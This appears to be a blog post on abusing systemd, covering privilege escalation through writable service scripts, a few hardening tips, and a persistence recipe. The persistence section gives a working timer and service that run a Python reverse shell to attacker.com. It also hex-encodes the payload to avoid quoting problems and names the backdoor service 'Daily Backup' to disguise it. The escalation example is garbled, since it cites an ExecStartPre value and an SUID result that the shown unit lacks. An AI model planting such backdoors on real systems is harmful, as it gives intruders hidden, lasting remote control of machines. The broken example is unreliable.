SystemD Use & Abuse
SystemD has been increasingly used since its release in 2010. I have been familiar and used to working with SystemD services, timers and many more, as for my constant ArchLinux use.
Since SystemD has been increasingly used, malicious actors have taken interest in knowing how to exploit common configuration flaws to elevate their privileges or gain persistent access to a system.
Systemd documentation can be found here.
Exploitation
When exploiting SystemD configurations it almost all comes down to the basics :
- File permissions misconfiguration
- File ownership misconfiguration
Most of the time, Systemd services, timers and such are executed as root since SystemD provides the whole initialization system, thus, misconfiguration can have drastic side effects.
For instance, let's consider that an administrator created a service to be executed frequently by a timer.
# /usr/lib/systemd/systemd/admin.service
[Unit]
Description=Admin Service
[Service]
ExecStart=/bin/bash /root/admin-script.sh
Then, let's say the admin thinks the script should be owned by him and his group but the file stays writable.
Upon reboot, the `ExecStartPre` value is executed, here we obtain an SUID / SGID Bash binary.
How to secure ?
- Make sure the service as well as executed script is owned by root exclusively
chown root:root {/path/to/some.service,/path/to/service-executed.sh}
- Make sure the service file as well as executed script is read-only and can only be modified by root
chmod 644 {/path/to/some.service,/path/to/service-executed.sh}
- When possible, use
User=
andGroup=
to run the service as a low privilege user
Persistance
Persistance can easily be achieved once you gained root privileges. Basically :
- create a SystemD timer that will run a service
- create a SystemD service that will run an inline reverse shell
Timer
Create a timer run once a day. The timer will execute the service which will itself run the reverse shell
# PATH
[Unit]
Description=Run daily reverse shell
[Timer]
OnCalendar=Mon..Sat 19:30
Persistent=true
[Install]
WantedBy=timers.target
Create a corresponding service
Timers and services must have the same name (excluding the file extension)
[Unit]
Description=Daily Backdoor
[Service]
Type=oneshot
ExecStart=/bin/bash /path/to/shell
Let's consider the following Bash / Python inline reverse shell
export RHOST=attacker.com;export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
And the same shellcode hex encoded (useful to avoid inline quote pairing nightmare)
\x65\x78\x70\x6f\x72\x74\x20\x52\x48\x4f\x53\x54\x3d\x61\x74\x74\x61\x63\x6b\x65\x72\x2e\x63\x6f\x6d\x3b\x65\x78\x70\x6f\x72\x74\x20\x52\x50\x4f\x52\x54\x3d\x31\x32\x33\x34\x35\x3b\x70\x79\x74\x68\x6f\x6e\x20\x2d\x63\x20\x27\x69\x6d\x70\x6f\x72\x74\x20\x73\x79\x73\x2c\x73\x6f\x63\x6b\x65\x74\x2c\x6f\x73\x2c\x70\x74\x79\x3b\x73\x3d\x73\x6f\x63\x6b\x65\x74\x2e\x73\x6f\x63\x6b\x65\x74\x28\x29\x3b\x73\x2e\x63\x6f\x6e\x6e\x65\x63\x74\x28\x28\x6f\x73\x2e\x67\x65\x74\x65\x6e\x76\x28\x22\x52\x48\x4f\x53\x54\x22\x29\x2c\x69\x6e\x74\x28\x6f\x73\x2e\x67\x65\x74\x65\x6e\x76\x28\x22\x52\x50\x4f\x52\x54\x22\x29\x29\x29\x29\x3b\x5b\x6f\x73\x2e\x64\x75\x70\x32\x28\x73\x2e\x66\x69\x6c\x65\x6e\x6f\x28\x29\x2c\x66\x64\x29\x20\x66\x6f\x72\x20\x66\x64\x20\x69\x6e\x20\x28\x30\x2c\x31\x2c\x32\x29\x5d\x3b\x70\x74\x79\x2e\x73\x70\x61\x77\x6e\x28\x22\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x22\x29\x27
Create a shell script somewhere on the file system
#/usr/lib/backdoor
echo -e '\x65\x78\x70\x6f\x72\x74\x20\x52\x48\x4f\x53\x54\x3d\x61\x74\x74\x61\x63\x6b\x65\x72\x2e...' | /bin/bash
Which will result in the following service
[Unit]
Description=Daily Backup
[Service]
Type=oneshot
ExecStart=/bin/bash /usr/lib/backdoor
When the service is executed you'll get a callback on your listener